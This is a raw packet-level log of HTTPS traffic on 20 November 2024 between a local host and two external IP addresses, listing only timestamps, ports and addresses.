Nov 20, 2024 13:28:49.282579899 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.283097029 CET	49924	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.283106089 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.394232988 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.394395113 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.394448042 CET	49924	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.394469023 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.394520044 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.394563913 CET	49924	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.394638062 CET	49924	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.394654036 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.394663095 CET	49924	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.394669056 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.398374081 CET	49930	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.398449898 CET	443	49930	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.398545980 CET	49930	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.398722887 CET	49930	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.398757935 CET	443	49930	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.409725904 CET	443	49925	142.250.186.36	192.168.2.8
Nov 20, 2024 13:28:49.410044909 CET	49925	443	192.168.2.8	142.250.186.36
Nov 20, 2024 13:28:49.410068989 CET	443	49925	142.250.186.36	192.168.2.8
Nov 20, 2024 13:28:49.411194086 CET	443	49925	142.250.186.36	192.168.2.8
Nov 20, 2024 13:28:49.411489964 CET	49925	443	192.168.2.8	142.250.186.36
Nov 20, 2024 13:28:49.411675930 CET	443	49925	142.250.186.36	192.168.2.8
Nov 20, 2024 13:28:49.461385965 CET	49925	443	192.168.2.8	142.250.186.36
Nov 20, 2024 13:28:49.558016062 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.559036016 CET	49926	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.559056997 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.559546947 CET	49926	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.559552908 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.614552975 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.615623951 CET	49927	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.615708113 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.616322994 CET	49927	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.616338968 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.624047995 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.624380112 CET	49928	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.624452114 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.624854088 CET	49928	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.624867916 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.663532972 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.663698912 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.663791895 CET	49926	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.664091110 CET	49926	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.664113045 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.664123058 CET	49926	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.664128065 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.666527033 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.667032957 CET	49929	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.667073965 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.667515993 CET	49929	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.667522907 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.668323994 CET	49931	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.668358088 CET	443	49931	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.668431997 CET	49931	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.668584108 CET	49931	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.668601990 CET	443	49931	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.717734098 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.717895985 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.717978954 CET	49927	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.718193054 CET	49927	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.718225956 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.718252897 CET	49927	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.718266964 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.721900940 CET	49932	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.721945047 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.722038984 CET	49932	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.722234011 CET	49932	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.722251892 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.728574038 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.728813887 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.728919983 CET	49928	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.728986025 CET	49928	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.728986025 CET	49928	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.729023933 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.729099989 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.731399059 CET	49933	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.731472969 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.731564045 CET	49933	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.731688023 CET	49933	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.731720924 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.768415928 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.768440008 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.768482924 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.768516064 CET	49929	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.768554926 CET	49929	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.768785954 CET	49929	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.768806934 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.768821001 CET	49929	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.768827915 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.771796942 CET	49934	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.771852970 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.771977901 CET	49934	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.772125006 CET	49934	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.772141933 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.117655039 CET	443	49930	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.118555069 CET	49930	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.118586063 CET	443	49930	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.119061947 CET	49930	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.119071007 CET	443	49930	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.221815109 CET	443	49930	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.221911907 CET	443	49930	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.222322941 CET	49930	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.222322941 CET	49930	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.222322941 CET	49930	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.225554943 CET	49935	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.225649118 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.225785017 CET	49935	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.225953102 CET	49935	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.225986958 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.370738029 CET	443	49931	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.371471882 CET	49931	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.371498108 CET	443	49931	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.372119904 CET	49931	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.372126102 CET	443	49931	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.409708977 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.410312891 CET	49932	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.410372972 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.410864115 CET	49932	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.410876989 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.445676088 CET	49930	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.445703030 CET	443	49930	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.470555067 CET	443	49931	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.470741987 CET	443	49931	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.470792055 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.470864058 CET	49931	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.470942020 CET	49931	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.470956087 CET	443	49931	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.470968008 CET	49931	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.470973015 CET	443	49931	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.471249104 CET	49934	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.471282005 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.471647024 CET	49934	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.471662045 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.472417116 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.473654032 CET	49933	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.473684072 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.474190950 CET	49933	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.474198103 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.474287033 CET	49936	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.474313021 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.474365950 CET	49936	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.474492073 CET	49936	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.474502087 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.515233994 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.515424967 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.515635014 CET	49932	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.515664101 CET	49932	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.515676022 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.515691042 CET	49932	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.515697956 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.518573046 CET	49937	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.518600941 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.518712997 CET	49937	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.518851042 CET	49937	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.518857002 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.575371027 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.575535059 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.575598955 CET	49934	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.577533007 CET	49934	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.577573061 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.577608109 CET	49934	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.577625036 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.579478025 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.579499006 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.579533100 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.579571962 CET	49933	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.579628944 CET	49933	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.580693960 CET	49933	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.580739975 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.580766916 CET	49933	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.580784082 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.592848063 CET	49939	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.592890978 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.592946053 CET	49939	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.593671083 CET	49939	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.593686104 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.606128931 CET	49940	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.606169939 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.606230974 CET	49940	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.606400967 CET	49940	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.606420994 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.893851042 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.897911072 CET	49935	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.897941113 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.898567915 CET	49935	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.898575068 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.998117924 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.998290062 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.998409033 CET	49935	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.998704910 CET	49935	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.998724937 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:50.998738050 CET	49935	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:50.998744965 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.002356052 CET	49941	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.002432108 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.002551079 CET	49941	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.002737999 CET	49941	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.002773046 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.157948017 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.161885977 CET	49936	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.161916018 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.162523031 CET	49936	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.162528038 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.174388885 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.177762985 CET	49937	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.177824974 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.179450989 CET	49937	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.179466963 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.233186960 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.233830929 CET	49939	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.233891964 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.234437943 CET	49939	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.234452963 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.247677088 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.248213053 CET	49940	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.248275042 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.248853922 CET	49940	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.248868942 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.266083002 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.266252041 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.266308069 CET	49936	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.266429901 CET	49936	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.266447067 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.266475916 CET	49936	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.266480923 CET	443	49936	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.276972055 CET	49942	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.277034044 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.277126074 CET	49942	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.277318954 CET	49942	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.277348995 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.282314062 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.282387018 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.282468081 CET	49937	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.282494068 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.282552004 CET	49937	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.282715082 CET	49937	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.282762051 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.282790899 CET	49937	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.282808065 CET	443	49937	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.294277906 CET	49943	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.294353008 CET	443	49943	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.294430017 CET	49943	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.294612885 CET	49943	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.294641018 CET	443	49943	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.332351923 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.332519054 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.332583904 CET	49939	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.332803011 CET	49939	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.332803965 CET	49939	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.332829952 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.332853079 CET	443	49939	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.335879087 CET	49944	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.335903883 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.336004972 CET	49944	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.336378098 CET	49944	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.336391926 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.358290911 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.358314991 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.358349085 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.358409882 CET	49940	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.358663082 CET	49940	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.358697891 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.358741999 CET	49940	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.358756065 CET	443	49940	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.362152100 CET	49945	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.362205029 CET	443	49945	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.362355947 CET	49945	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.362540007 CET	49945	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.362560034 CET	443	49945	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.639415979 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.640064001 CET	49941	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.640121937 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.640768051 CET	49941	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.640783072 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.742153883 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.742250919 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.742347002 CET	49941	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.742629051 CET	49941	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.742666960 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.742716074 CET	49941	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.742731094 CET	443	49941	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.746478081 CET	49946	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.746509075 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.746597052 CET	49946	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.746802092 CET	49946	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.746814966 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.924612045 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.925195932 CET	49942	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.925225019 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.925801992 CET	49942	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.925807953 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.951883078 CET	443	49943	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.953105927 CET	49943	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.953121901 CET	443	49943	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:51.964677095 CET	49943	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:51.964684010 CET	443	49943	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.010586977 CET	443	49945	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.011176109 CET	49945	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.011194944 CET	443	49945	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.011766911 CET	49945	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.011771917 CET	443	49945	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.013813972 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.014123917 CET	49944	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.014138937 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.014575958 CET	49944	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.014580011 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.026149988 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.026489973 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.026550055 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.026551008 CET	49942	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.026602030 CET	49942	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.026648998 CET	49942	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.026663065 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.026676893 CET	49942	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.026681900 CET	443	49942	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.029360056 CET	49947	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.029391050 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.029464006 CET	49947	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.029609919 CET	49947	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.029618025 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.063383102 CET	443	49943	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.063769102 CET	443	49943	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.063868046 CET	49943	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.063956976 CET	49943	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.063957930 CET	49943	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.064001083 CET	443	49943	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.064045906 CET	443	49943	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.066782951 CET	49948	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.066880941 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.066992044 CET	49948	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.067152977 CET	49948	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.067189932 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.111342907 CET	443	49945	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.111402988 CET	443	49945	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.111493111 CET	49945	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.111754894 CET	49945	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.111778021 CET	443	49945	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.111790895 CET	49945	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.111797094 CET	443	49945	13.107.246.45	192.168.2.8
